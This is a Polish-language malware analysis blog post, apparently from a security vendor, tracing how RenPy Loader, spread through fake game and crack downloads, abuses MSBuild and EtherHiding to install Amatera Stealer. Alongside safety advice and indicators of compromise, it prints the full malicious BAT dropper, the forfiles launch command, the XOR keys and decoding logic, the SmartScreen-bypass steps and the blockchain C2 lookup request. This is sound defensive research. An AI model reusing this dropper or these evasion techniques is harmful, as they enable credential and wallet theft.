Wykryliśmy kilka kampanii wykorzystujących fałszywe pliki do pobrania gier, modów, cracków i oprogramowania w celu rozpowszechniania programu RenPy Loader. Po zainstalowaniu program ten uruchamia złożony, wieloetapowy łańcuch infekcji, który wykorzystuje narzędzie MSBuild oraz technikę EtherHiding, by ostatecznie zainstalować program Amatera Stealer.
Amatera to program typu „infostealer” — rodzaj złośliwego oprogramowania zaprojektowanego w celu kradzieży poufnych informacji z zainfekowanego urządzenia. Może on atakować hasła i inne dane przechowywane w przeglądarkach, portfelach kryptowalutowych, rozszerzeniach przeglądarek, aplikacjach do przesyłania wiadomości oraz plikach lokalnych. Skradzione dane uwierzytelniające i dane sesji mogą również umożliwić atakującym uzyskanie dostępu do kont internetowych ofiary.
Ofiara może widzieć coś, co wygląda jak zwykła gra lub instalator oprogramowania, podczas gdy złośliwe oprogramowanie działa w tle w sposób niewidoczny.
Program RenPy Loader, znany również jako RenEngine Loader, jest szczególnie interesujący, ponieważ wykorzystuje w nieuczciwy sposób Ren’Py – legalny silnik służący do tworzenia powieści wizualnych, gier fabularnych i interaktywnej literatury. Ukrywając złośliwy kod w oprogramowaniu kojarzonym z grami, cyberprzestępcy mogą sprawić, że ich pliki do pobrania będą wydawały się bardziej wiarygodne dla osób poszukujących gier, modów lub pirackiego oprogramowania.
W przeszłości obserwowaliśmy już przypadki, w których cyberprzestępcy nadużywali legalnych narzędzi programistycznych i nowych frameworków, takich jak Bun i Deno, do rozpowszechniania złośliwego oprogramowania. RenPy Loader działa według tego samego schematu: cyberprzestępcy wykorzystują legalne technologie, aby zamaskować złośliwą aktywność, skomplikować łańcuch infekcji i utrudnić wykrycie zagrożenia.
Zauważono również, że RenPy Loader rozpowszechnia inne złośliwe oprogramowanie, w tym HijackLoader i Lumma Stealer, co wskazuje, że ostateczny ładunek złośliwy może się różnić w zależności od kampanii.
W tym wpisie na blogu analizujemy łańcuch infekcji, w ramach którego Ren’Py odszyfrowuje archiwum ZIP zawierające plik BAT oraz kilka plików projektu MSBuild. Pliki te ładują zainfekowany komponent .NET, który następnie dekoduje kolejny złośliwy komponent.
Ten złośliwy komponent wykorzystuje technikę o nazwie EtherHiding do lokalizowania swojego serwera dowodzenia i kontroli (C2). Zamiast przechowywać adres serwera C2 bezpośrednio w samym złośliwym oprogramowaniu, cyberprzestępcy ukrywają go w danych zapisanych w publicznym łańcuchu bloków. Następnie złośliwe oprogramowanie pobiera z tego serwera kolejne etapy ataku, co utrudnia identyfikację i unieszkodliwienie infrastruktury cyberprzestępców.
Na koniec analizujemy dodatkowe ładunki, które ostatecznie odszyfrowują i uruchamiają program Amatera Stealer.
Fałszywe pliki do pobrania infekują Twoje urządzenie
Infekcja rozpoczyna się, gdy użytkownik pobiera rzekomą grę, mod, crack lub inne oprogramowanie. Stwierdziliśmy, że złośliwe pliki są rozpowszechniane za pośrednictwem:
- Fałszywe strony z plikami do pobrania
- Strony serwisu itch.io
- Serwisy do udostępniania plików, takie jak Wormhole, GoFile, Google Drive i MEGA
Oto niektóre z wykrytych stron, które rozpoczynają łańcuch infekcji:
W kilku przypadkach kliknięcie linku do pobrania przekierowywało użytkownika na inną fałszywą stronę pobierania. Strony te miały różne szaty graficzne i wykorzystywały wymyślone nazwy usług, co sprawiało, że kampanie wydawały się mniej powtarzalne, a złośliwą infrastrukturę trudniej było rozpoznać.
Poniżej przedstawiono przykłady fałszywych stron pobierania, wykorzystywanych do rozpowszechniania złośliwego archiwum:
Użytkownik pobiera archiwum zawierające plik o nazwie Setup.exe. Otwarcie tego pliku uruchamia łańcuch infekcji.


Ofiara widzi ekran ładowania lub instalacji, ale w tle uruchamia się złośliwy kod.

Jak zachować bezpieczeństwo
Kilka środków ostrożności może zmniejszyć ryzyko pobrania złośliwych gier lub oprogramowania:
- Pobieraj gry i oprogramowanie z oficjalnych stron internetowych, sprawdzonych sklepów z aplikacjami lub renomowanych platform dystrybucyjnych.
- Należy zachować ostrożność w przypadku pirackiego oprogramowania, nieoficjalnych modyfikacji oraz darmowych wersji gier płatnych.
- Zachowaj ostrożność, gdy link do pobrania przekierowuje Cię przez kilka nieznanych stron internetowych lub serwisów do udostępniania plików.
- Przed otwarciem plików wykonywalnych, takich jak, należy sprawdzić zawartość pobranych archiwów, np.
Setup.exe. - Zwróć uwagę na nietypowe nazwy plików, niepowiązane obrazy lub pliki tekstowe oraz treści, które nie odpowiadają temu, co zamierzałeś pobrać.
- Korzystaj z oprogramowania chroniącego przed złośliwym oprogramowaniem działającego w czasie rzeczywistym, takiego jak Malwarebytes.
- Należy na bieżąco aktualizować system operacyjny, przeglądarkę oraz oprogramowanie zabezpieczające.
Osoby stojące za tymi kampaniami nieustannie tworzą nowe strony internetowe i zmieniają swoje strony pobierania. Profesjonalnie wyglądający instalator lub znany serwis do udostępniania plików nie gwarantuje, że pobieranie jest bezpieczne.
Analiza techniczna modułu ładującego RenPy
Ren’Py to darmowy silnik typu open source służący do tworzenia powieści wizualnych, gier fabularnych oraz interaktywnej literatury. Ren’Py umożliwia integrację skryptów w języku Python, co atakujący wykorzystują do umieszczania złośliwego kodu.
W tym przypadku wykryliśmy złośliwy kod w następujących plikach i ścieżkach:
|
Ścieżka |
Opis |
|---|---|
|
|
Klasy przeciwdziałające sandboxowi |
|
|
Ładowarka |
|
|
Konfiguracja zaszyfrowana algorytmem XOR |
|
|
Plik ZIP zaszyfrowany algorytmem XOR |
Ładowarka pierwszego stopnia wydobyta z libwin32.rpa wykonuje następujące operacje:
- Odczytuje plik konfiguracyjny
data/.GEgi odszyfrowuje go za pomocą dekodowania Base64 oraz operacji XOR z kluczem81034149cd6f48c8821340204f92766e. Ten plik konfiguracyjny zawiera hasło służące do rozpakowania pliku ZIP, a także inne dane konfiguracyjne wykorzystywane przez moduł ładujący. - Połączenia
sys_config.is_sandboxed()i kończy działanie w przypadku wykrycia środowiska testowego. - odszyfrowuje metodą XOR
data/j3lpTcg7kBRN.E3za pomocą klawiszaA50YyY1aby pobrać plik ZIP. - Rozpakowuje zawartość pliku ZIP do losowego folderu w katalogu
%TEMP%/tmp-{5 digits}-{12 characters}i pisze:Zone.Identifieralternatywny strumień danych (ADS) zZoneId=0w celu usunięcia „Mark of the Web” i ominięcia funkcji SmartScreen. Ponadto wstawia losowyREMciągi znaków do wyodrębnionego pliku BAT. - Wystrzeliwuje ładunek za pomocą
forfiles.exe. - Przesyła MAC urządzenia oraz identyfikator kampanii do serwisu śledzącego.


W tym przypadku wyodrębniony plik BAT został uruchomiony za pomocą następującego polecenia:
forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"
Zawartość pliku BAT:
@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal
Uruchomiony plik BAT wykonuje następujące operacje:
- Uruchamia się ponownie w trybie ukrytym lub bezinterfejsu:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
- Włącza funkcje właściwości MSBuild, udostępniając dodatkowe metody, takie jak
AppDomain.CurrentDomain.Loaddo wykonania:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
- Wykonuje
MSBuild.exezNancy.csprojjako plik projektu. Podczas oceny projektu złośliwa funkcja właściwości MSBuild dokonuje dekodowania szesnastkowego i ładuje refleksyjnie kolejny etap biblioteki DLL.
Zainfekowana trojanem biblioteka DLL „Nancy” oraz niestandardowy kod bajtowy
Nancy.csproj importuje trzy wyodrębnione pliki Nancy.csproj.user, Internal.propsi Nancy.Compile.targets. Złośliwy plik DLL jest podzielony na trzy części zapisane w tych plikach.

Nancy.csprojNancy.Compile.targets łączy te trzy wartości w celu zdekodowania biblioteki DLL w systemie szesnastkowym i uruchomienia pliku DefaultEvaluator5 metoda wykorzystująca AppDomain.CurrentDomain.Load.CreateInstance.

DefaultEvaluator5Ciekawe jest to, że Nancy.csproj spełnia dwie funkcje: jest to projekt MSBuild służący do uruchomienia modułu ładującego pierwszego etapu, a ponadto zawiera kod następnego etapu zdekodowany przez ten moduł.
Plik DLL stanowi trojanizowaną wersję biblioteki Nancy .NET i jest zaszyfrowanym modułem ładującym .NET zawierającym złośliwy kod zaimplementowany w DefaultEvaluator5 klasa. Część funkcjonalności biblioteki DLL jest zrealizowana w niestandardowym kodzie bajtowym wykonywanym przez tę metodę główną.

Biblioteka DLL wykonuje następujące operacje:
- Odszyfrowuje ciągi znaków z zasobów przy użyciu algorytmu deszyfrowania XOR z wieloma kluczami.
- Rozpoznaje interfejsy API przy użyciu algorytmu haszowania API oraz
GetDelegateForFunctionPointer. - Zmienia ustawienia sieciowe, w tym wyłącza weryfikację certyfikatów TLS i ustawia domyślny serwer proxy systemu.
- Wykonuje operacje mające na celu utrudnienie analizy kryminalistycznej.
- Odczytuje
_czzfzmienna środowiskowa, która wskazuje na poprzedniąNancy.csprojplik, a następnie go dekoduje i uruchamia.
Najważniejsze DefaultEvaluator5 Metoda ta pobiera ciągi znaków i interpretuje kod bajtowy zawarty w następujących zasobach:
Nancy.Runtime.mvlorimu: Zawiera niestandardowy kod bajtowy. Kod bajtowy jest interpretowany przez_pvoraz_sro. Realizuje 23 kody operacyjne służące do odszyfrowywania innych ciągów znaków oraz ładowania biblioteki DLL kolejnego etapu.Nancy.Data.tcnlhxworazNancy.Resources.kxxodp: Zawiera zaszyfrowane ciągi znaków oraz inne dane wykorzystywane do odszyfrowania, w tym klucze, długości, indeksy oraz tabelę S-box.
Ciągi znaków są odszyfrowywane przy użyciu następującego algorytmu:
out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]
Kolejny etap DLL, GollopDevest, jest dekodowany z tego samego Nancy.csproj plik wykorzystujący poniższą logikę i zawierający AppDomain.Load:
for i, k in enumerate(marker_int):
if k < 256:
payload[i] = k
else:
payload[i] = marker_int[k-256]

Pack znacznikiEtherHiding i Amatera Stealer
Kolejnym wyodrębnionym elementem jest biblioteka DLL o nazwie GollopDevest.dll, program do pobierania plików oparty na platformie .NET, który wykorzystuje technikę EtherHiding do ustalenia adresu serwera dowodzenia i kontroli (C2) oraz pobrania kolejnego etapu złośliwego oprogramowania.
Szyfrowaną domenę C2 uzyskuje się za pomocą interfejsu JSON-RPC sieci Ethereum eth_call prośba o bsc-dataseed.binance.org:
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}
Ten program do pobierania plików EtherHiding jest prawdopodobnie częścią operacji typu „złośliwe oprogramowanie jako usługa” (MaaS), ponieważ wykryliśmy, że jest on rozpowszechniany w ramach innych kampanii, w tym kampanii ClickFix.
Następnie pobierane są trzy dodatkowe pliki: dwie biblioteki DLL platformy .NET o nazwach PavinWide (biblioteka DLL uniemożliwiająca analizę) oraz GollopDevest (biblioteka DLL typu loader) oraz biblioteka DLL w języku C++ o nazwie LanoseThrip, co ostatecznie prowadzi do odszyfrowania i uruchomienia programu Amatera Stealer.
W tym przypadku pliki te zostały pobrane ze strony:
/assets/ExponeAboard.json/assets/MailersKogasin.json/assets/LanoseThrip.json
Biblioteki DLL platformy .NET są poddawane intensywnej obfuskacji z wykorzystaniem spłaszczania przepływu sterowania oraz wywołań pośrednich poprzez calli/ldftn, szyfrowanie ciągów znaków przy użyciu różnych algorytmów, kod zbędny, kod martwy oraz fałszywe ciągi znaków, takie jak ścieżki URL.
Analiza tych bibliotek DLL wciąż trwa i zostanie omówiona bardziej szczegółowo w kolejnych wpisach na blogu.
Wskaźniki kompromisu (IOC)
Domeny
downpro[.]net– Fałszywa strona z plikami do pobraniamacisofile[.]sbs– Fałszywa strona z plikami do pobraniavisitmama[.]blog– Fałszywa strona z plikami do pobraniavisitmama[.]guru– Fałszywa strona z plikami do pobraniagetgamerfree[.]com– Fałszywa strona z plikami do pobraniafullgames[.]digital– Fałszywa strona z plikami do pobraniaflingbase[.]net– Fałszywa strona z plikami do pobraniacitronemu[.]com– Fałszywa strona z plikami do pobraniafilemodo[.]xyz– Infrastruktura dystrybucyjnastorage06x[.]cfd– Infrastruktura dystrybucyjnap03sil[.]cyou– Infrastruktura dystrybucyjnawimsedas[.]xyz– Infrastruktura dystrybucyjnaagainstmor[.]store– Infrastruktura dystrybucyjnahost03q[.]cfd– Infrastruktura dystrybucyjnacloud01y[.]cfd– Infrastruktura dystrybucyjnastorage11x[.]cfd– Infrastruktura dystrybucyjnastorage04x[.]cfd– Infrastruktura dystrybucyjnahost82p[.]cfd– Infrastruktura dystrybucyjnacloud05y[.]cfd– Infrastruktura dystrybucyjnaanalyticstrack-pzh[.]click– Strona internetowa do śledzenialogin.orbitalframework[.]cc– Amatera Stealer C2
Adresy IP
144.124.251[.]171– Służy do pozyskiwania dodatkowych ładunków195.63.140[.]33– Służy do pozyskiwania dodatkowych ładunków78.40.196[.]252– Służy do pozyskiwania dodatkowych ładunków
Skróty plików (MD5)
29203ca123d51b1b33505a0813d360df– Moduł ładujący pierwszego etapu (plik DLL zawierający trojana)810F257542018BE0FC62AF542D13D012– Plik DLL GollopDevest (plik DLL programu pobierającego)681DB529E402467A4B0567C82A350FC0– Plik DLL PavinWride (plik DLL zapobiegający analizie)2E116632248A7E1F8AA6BCA92D9C1C90– Plik DLL GollopDevest (plik DLL modułu ładującego)F8453EFE408CE25B9484F872797E3D63– Ostateczna ładowność
„Jeden z najlepszych pakietów zabezpieczeń cybernetycznych na świecie”.
Według serwisu CNET.Przeczytaj ich recenzję →
















